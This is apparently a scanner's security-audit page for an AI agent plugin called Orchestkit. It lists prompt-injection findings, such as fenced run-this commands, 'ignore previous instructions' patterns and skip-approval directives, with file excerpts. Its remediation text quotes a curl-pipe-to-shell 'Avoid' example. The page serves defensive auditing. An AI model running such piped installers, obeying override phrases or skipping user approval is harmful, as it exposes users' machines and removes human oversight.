Orchestkit— plugin

Orchestkit — independently scanned and version-tracked by SaferSkills.

by yonatangross·Plugin·github.com/yonatangross/orchestkit

Is Orchestkit safe to install?

SaferSkills independently audited Orchestkit (Plugin) and scored it 65/100 (yellow). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 3 high-severity and 5 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
65/100
●●●●●●●○○○
Re-scan~30s
Latest scan
ScannedJun 25, 2026 · 132d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings5 warnings · 3 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 8 flagged

Securityscore 0 · 8 findings
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · CONTRIBUTING.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptCONTRIBUTING.md· markdown
49```bash
50git checkout -b docs/commit-scope-example
51npm install
52```
53 
54Find the source file, even if you first saw the reference under `plugins/`:
55 
56```bash
57git ls-files 'src/*' | grep 'commit/references/conventional-commits.md'
Occurrences
1 occurrence · at L49
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha2569ad4963505191694…rubric 365aacaView on GitHub
HIGH"Ignore previous instructions" command embedded in the skillSS-SKILL-INJECT-IGNORE-01 · Prompt injection · docs/audits/hooks-security-audit-2026-02-06.md
HIGH — when it fires on hostile content the impact is full system-prompt override.
Why it matters

The text {match} is the classic direct prompt-injection phrasing. Placed in a skill body that the agent reads as trusted instructions, it tries to make the agent abandon its prior rules and follow whatever comes next — a full system-prompt override.

The exact value spotted
excerptdocs/audits/hooks-security-audit-2026-02-06.md· markdown
46| Locations | `prompt/memory-context-loader.ts:62-88`, `prompt/profile-injector.ts:294-323`,
… (29 chars elided on L46)
47 
48**Description**: Hooks read from local JSONL/JSON files (`.claude/memory/decisions.jsonl`, u
… (108 chars elided on L48)
49 
50**Mitigations present**: Content truncation (MAX_CONTEXT_CHARS = 3000/1200), JSON parsing re
… (101 chars elided on L50)
Occurrences
1 occurrence · at L48
How to fix
Remove the override phrase, or rephrase the passage so it does not instruct the agent to discard its rules.
  1. Delete the ignore/disregard/forget … previous instructions sentence.
  2. If this is jailbreak-research or tutorial content, move the example into a clearly fenced, non-instruction block and label it as a quoted sample.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-IGNORE-01sha2562847bd141d1ca1b6…rubric 365aacaView on GitHub
HIGH"Ignore previous instructions" command embedded in the skillSS-SKILL-INJECT-IGNORE-01 · Prompt injection · docs/marketplace-submission.md
HIGH — when it fires on hostile content the impact is full system-prompt override.
Why it matters

The text {match} is the classic direct prompt-injection phrasing. Placed in a skill body that the agent reads as trusted instructions, it tries to make the agent abandon its prior rules and follow whatever comes next — a full system-prompt override.

The exact value spotted
excerptdocs/marketplace-submission.md· markdown
273writes to those paths. Verified: zero keychain, `~/.aws/credentials`, SSH-key, or
274browser-cookie **reads** anywhere in `plugins/ork`.
275- Three files match "ignore previous instructions" style patterns:
276`skills/mcp-patterns/rules/security-injection.md`,
277`skills/testing-llm/examples/llm-test-patterns.md`, and
Occurrences
1 occurrence · at L275
How to fix
Remove the override phrase, or rephrase the passage so it does not instruct the agent to discard its rules.
  1. Delete the ignore/disregard/forget … previous instructions sentence.
  2. If this is jailbreak-research or tutorial content, move the example into a clearly fenced, non-instruction block and label it as a quoted sample.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-IGNORE-01sha2562e4221a7f996a729…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · .claude/rules/working-with-opus-5-5.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerpt.claude/rules/working-with-opus-5-5.md· markdown
205. **No think nudges, no restated reasoning.** Opus 5.5 "always thinks before it replies, an
… (4 chars elided on L20)
21decides how much." Do not write "think carefully" or "think step by step" into prompts, agen
… (5 chars elided on L21)
22skills, and do not ask a model to reproduce its reasoning in the reply. Change effort for de
… (8 chars elided on L22)
23for a short rationale when you need one.
Occurrences
1 occurrence · at L22
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25612211d7a427c799a…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · docs/marketplace-submission.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptdocs/marketplace-submission.md· markdown
373> lifecycle events to `~/.local/state/orchestkit/events.jsonl` on the user's own
374> disk, rotated at 10 MB, recording event and tool names plus sizes and durations,
375> never prompt or file contents. An outbound call requires the user to set
376> `ORCHESTKIT_HOOK_URL` plus `ORCHESTKIT_HOOK_TOKEN`, or `ORK_HQ_TELEMETRY_URL`, or
377> `ORK_HQ_TELEMETRY_USE_HQ_API=1` with `HQ_API_URL`, all unset by default and all
Occurrences
1 occurrence · at L375
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha256183eb789192b5159…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · CHANGELOG.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptCHANGELOG.md· markdown
284### Bug Fixes
285 
286* **lesson-cards:** lessons are advisory, never ask or deny ([#4842](https://github.com/yona
… (108 chars elided on L286)
287 
288## [10.0.0-beta.186](https://github.com/yonatangross/orchestkit/compare/v10.0.0-beta.185...v
… (29 chars elided on L288)
Occurrences
1 occurrence · at L286
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25614b7852251bf4666…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · README.md×2
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptREADME.md· markdown
254`category jev: haiku=<cat> jev=<cat> agree=<bool> confidence=<n> decided_by=jev|haiku thresh
… (24 chars elided on L254)
255and as `session-identity.shadow.json` with the same fields (labels, decision,
256timing; never prompt text) next to the raw answer `session-identity.jev.json`
257in the session data directory. Cost of opting in: the first prompt of a session
258waits for the call to settle, 1.1 to 1.7 s measured from a fresh hook process
Occurrences
2 occurrences · first at L256, also L284
Show all 2 locations
Line
File
L256
README.md
L284
README.md
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha256183eb789192b5159…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.